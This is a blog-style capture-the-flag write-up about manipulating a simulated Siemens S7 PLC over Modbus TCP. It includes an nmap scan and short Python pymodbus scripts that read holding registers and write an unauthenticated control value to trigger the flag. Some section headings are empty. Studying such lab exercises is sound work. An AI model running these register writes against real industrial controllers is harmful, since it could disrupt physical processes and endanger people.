July 01, 2025

Exploiting a Siemens S7 PLC Using Modbus and Python

Introduction

This post documents a Capture the Flag (CTF) challenge I completed that simulated an industrial environment. The scenario involved a Siemens S7 Programmable Logic Controller (PLC) that communicated using the Modbus TCP protocol. The objective was to explore the system, identify vulnerable functionality, and trigger a simulated event to capture the flag.

Along the way, I learned how to apply basic Modbus read and write operations in Python, how to interpret register values, and how easily unprotected industrial devices can be manipulated with simple tools.


The Setup

The CTF environment provided a target system accessible via IP address. A quick Nmap scan confirmed that TCP port 502 was open:

$ nmap -sV -p 502 <target_ip>

PORT    STATE SERVICE VERSION
502/tcp open  modbus  Modbus TCP

This suggested the device was running a Modbus service, which is commonly used by industrial equipment like PLCs. Modbus has no built-in authentication, and many real-world devices are exposed on internal or even public networks. That made this a realistic and valuable exercise.


Preparing the Environment

I used a Kali Linux virtual machine as my attack platform. To interact with the Modbus service, I installed the pymodbus library:

pip install pymodbus==3.9.2

I also had Wireshark available for monitoring the traffic, although it wasn’t strictly necessary for this challenge.


Step 1: Reading Registers

The first step was to see what the device would return from a basic read operation. In Modbus, devices expose values through registers. I started by trying to read ten holding registers starting from address 0:

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('<target_ip>', port=502)
client.connect()

response = client.read_holding_registers(0, 10, unit=1)
print(response.registers)

client.close()

This returned the following output:

[70, 0, 0, 0, 0, 0, 0, 0, 0, 0]

The first register contained the value 70, while the rest were zero. That caught my attention. In CTFs, a non-zero register often points to something meaningful, such as a control value or status indicator.


Step 2: Interpreting the Data

At this point, I didn’t know whether the value 70 was meant to be read-only or if it was part of a writable control interface. Since Modbus allows writing to registers just as easily as reading from them, I decided to test whether the device would accept changes.

However, I didn’t want to start blindly overwriting values. First, I reviewed how Modbus write operations are structured, especially write_register() for single values. I also double-checked the pymodbus documentation to confirm the function signature.


Step 3: Attempting a Write

I decided to try writing a new value to the first register, which previously contained 70. I modified the script:

from pymodbus.client import ModbusTcpClient

client = ModbusTcpClient('<target_ip>', port=502)
client.connect()

client.write_register(0, 99, unit=1)

client.close()

I chose 99 as a test value, thinking it might trigger some predefined behavior if this register was acting as a control point.

Shortly after running the script, the simulated environment responded with success. I also received a message containing the flag:

THM{flag_redacted}

That confirmed two things. First, the register was writable. Second, the value 99 triggered the specific logic the CTF designer had built in to simulate system failure or compromise.


Reflections

This was a simple challenge, but it demonstrated a few important principles that apply to real-world systems:


Tools Used


Next Steps

This experience made me want to explore more advanced Modbus attacks, such as crafting custom packets, replaying traffic, or brute-forcing unknown register ranges. I’m also looking into how these protocols interact with HMI software and SCADA systems in the real world.

I’ll document those experiments as I go. For now, this challenge was a fun and practical example of how easily industrial protocols can be manipulated if proper segmentation and access controls aren’t in place.